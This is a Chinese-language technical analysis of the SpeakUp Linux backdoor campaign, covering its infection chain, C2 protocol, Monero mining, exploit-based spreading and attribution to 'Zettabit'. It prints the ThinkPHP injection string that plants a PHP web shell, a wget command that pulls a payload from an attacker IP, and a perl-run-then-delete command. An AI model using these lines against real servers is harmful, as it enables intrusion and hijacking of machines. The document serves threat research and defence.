SpeakUp木馬技術分析
Check Point研究人員近期發現一個新的利用Linux伺服器漏洞來植入新後門木馬的攻擊活動。
這起攻擊活動利用6個不同Linux發行版中已知漏洞的木馬漏洞活動被命名為SpeakUp。
攻擊活動的目標為包括AWS主機在內的世界範圍內的伺服器。
Check Point研究人員發現這起利用Linux伺服器漏洞來植入新後門的攻擊活動可以繞過所有的安全產品。植入的後門被命名為SpeakUp,是以其中的一個C2伺服器名字來命名的,該木馬可以利用6個不同的Linux釋出版中的已知漏洞。攻擊的主要目標為東亞和拉美地區的Linux伺服器,包括位於ASW上的主機。
SpeakUp可以利用遠端程式碼執行漏洞在受感染的主機所在的內網中進行傳播,並超過新的IP範圍。除此之外,SpeakUp還可以用未檢測到的木馬感染Mac裝置。
截止目前,還不能完全確定背後的攻擊者。但研究人員根據該攻擊活動與其他惡意軟體的一些共同點將SpeakUp與Zettabit的開發者進行了關聯。
圖1: SpeakUp受害者分佈
圖2: SpeakUp的增長率(每天)
感染向量
最開始的感染向量是thinkphp的一個漏洞,使用命令注入技術來上傳PHP指令碼來服務和執行Perl後門。
漏洞利用一共分為3個步驟:
1、利用CVE-2018-20062來上傳PHP shell
使用GET請求,將ThinkPHP (CVE-2018-20062)的遠端程式碼執行漏洞傳送到目標伺服器:
s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<? php $action = $_GET[‘module’];system($action);? ^>>index.php
shell會通過query中的module引數來執行傳送的命令。
2、後門
傳送另一個HTTP請求到目標伺服器:
/?module=wget hxxp://67[.]209.177.163/ibus -O /tmp/e3ac24a0bcddfacd010a6c10f4a814bc
上面的標準注入會推送ibus payload並存儲到位置/tmp/e3ac24a0bcddfacd010a6c10f4a814bc
3、啟動後門
使用下面的HTTP請求來執行:
/?module=perl /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc;sleep 2;rm -rf /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc
執行perl指令碼,休眠2秒鐘,並刪除該檔案來移除痕跡。
後門
研究人員分析的樣本來自於2019年1月14日攻擊我國的一臺機器,該樣本最早於2019年1月9日被上傳到VirusTotal。截止目前,引擎並沒有檢測到該檔案是惡意的。
圖3: Virus Total對SpeakUp的檢測
第二階段的payload是用加鹽的base64編碼的。而且,C2通訊也是用相同的方式編碼的。
發現的資料含有多個C2域名、IP地址和其他唯一引數,以及第二階段payload和其他模組。
下面分析木馬在受害者機器上執行的惡意程式碼、不同的函式和模組等。
受害者註冊
SpeakUp使用POST和GET請求來與C2通訊,C2是被黑的speakupomaha[.]com.。
第一個post請求會發送受害者ID和其他介紹性的資訊,比如安裝的指令碼的當前版本等。
對應的C2響應是needrgr,表示受感染的受害者之前未在伺服器上註冊,需要註冊。
之後,木馬會通過執行以下的Linux命令來POST機器的全部資訊:
· Uname (-r, -v, -m, -n,-a, -s)
· Whoami
· Ifconfig –a
· Arp –a
· cat /proc/cpuinfo | grep -c “cpu family” 2>&1
·who –b
圖4: 註冊過程和介紹命令
SpeakUp主函式
註冊過程完成後,SpeakUp會繼續與C2通訊。
下面是C2的命令型別:
· “newtask”- 在本地機器上執行任意程式碼,從遠端伺服器下載和執行檔案,殺掉或解除安裝程式,傳送未更新的指紋資料。
· “notask”- 休眠3秒,並請求其他命令。
· newerconfig”- 更新下載的挖礦機配置檔案。
· SpeakUp的駐留是通過cron和內部mutex來保證的。
感染後流量
受害者成功註冊後,C2會發送新的任務。大多數的C2伺服器會操作受害者機器來下載和執行不同的檔案。
有一個需要注意的點是使用User-Agent使用者代理。SpeakUp定義了三個使用者代理,受害者機器在與C2伺服器進行通訊時必須使用定義的這三個代理。其中兩個代理是MacOS X User-Agent,第三個是雜湊的字串:
· Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/BADDAD
· Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405
· E9BC3BD76216AFA560BFB5ACAF5731A3
圖5: SpeakUp的請求是用加鹽的base64加密的,並且包含唯一的使用者代理
此時,SpeakUp服務於XMRig挖礦機來監聽受感染的伺服器。根據XMRHunter的資料,錢包中大概有107個門羅幣。
圖6: SpeakUp接收額外的命令來執行
繁殖傳播
SpeakUp用i(sic)裝備了後門,i是一個允許後門來掃描和感染位於內網和外網的Linux伺服器的python指令碼。其主要功能有:
· 用預定義的使用者名稱和密碼來暴力破解嘗試登陸Admin面板;
· 掃描受感染的機器所在的網路緩解,檢查位於相同內部和外部子網的伺服器上特定埠的可用性;
· 嘗試利用目標伺服器上的遠端程式碼執行漏洞:
a) CVE-2012-0874: JBoss Enterprise Application Platform多安全繞過漏洞。
b) CVE-2010-1871: JBoss Seam Framework遠端程式碼執行。
c) JBoss AS 3/4/5/6: 遠端程式碼執行。
d) CVE-2017-10271: Oracle WebLogic wls-wsat Component Deserialization RCE。
e) CVE-2018-2894: Oracle Fusion Middleware的Oracle WebLogic伺服器漏洞。
f) Hadoop YARN ResourceManager – 命令執行。
g) CVE-2016-3088: Apache ActiveMQ檔案伺服器檔案上傳遠端程式碼執行漏洞。
以上任一漏洞的成功利用都會導致ibus指令碼的應用。
攻擊者身份
Ibus client for Unix OS
在ibus指令碼中,研究人員發現IBus client for GNU Emacs的尖端描述。IBus client是用於Linux和Unix作業系統的開源多語言輸入框架。該框架支援除了拉丁字母外的所有語言,也就是說其主要使用者是亞洲使用者。描述和檔名是唯一的將SpeakUp和Ibus框架聯絡在一起的元素,內容上沒有什麼相似之處。
這也暗示SpeakUp和東亞地區之間的聯絡。
使用者代理
SpeakUp和C2之間的HTTP通訊使用的使用者代理是攻擊活動背後的攻擊者身份的暗示。這些特殊的字串主要有“Mobile/BADDAD“, “Mobile/7B405”,和“E9BC3BD76216AFA560BFB5ACAF5731A3”。
有趣的是該字串最終變成了單詞liteHTTP的md5雜湊值。 liteHTTP 是基於C#的殭屍主機,主要攻擊Windows客戶端,其模組與SpeakUp木馬有些相似:
· 下載和執行
· 啟動(駐留)
· 收集系統資訊,包括作業系統、版本、安裝位置等
· 自更新
· 解除安裝
該專案是由使用者zettabithf建立的,在Hack Forums上有一個相同的使用者名稱。
圖7: Zettabit在Hack Forums上的使用者描述
Hack Forums上的使用者簡介暗示SpeakUp後門的作者是說俄語的,因為許多註釋都使用的是俄語。他好像也是殭屍網路的開發者,因為在推介LiteHTTP殭屍主機。
另一個需要注意的是在許多post中都使用了Knock,而且在SpeakUp的程式碼中也多次出現了Knock。
圖8、圖9: 出現Knock的截圖
結論
SpeakUp的混淆的payload和自我繁殖技術無疑是一個正在擴充套件的威脅。很難想象構建如此負載的payload只是為了挖礦。攻擊活動背後的攻擊者未來可能會用這些payload進行更多的攻擊活動。因為木馬可以掃描受感染的伺服器的內網和外網,並傳播惡意軟體。該攻擊活動才出現不久,未來會不斷地發展並帶來更大的危害。
攻擊者Zettabithf的一句話值得我們學習和深思: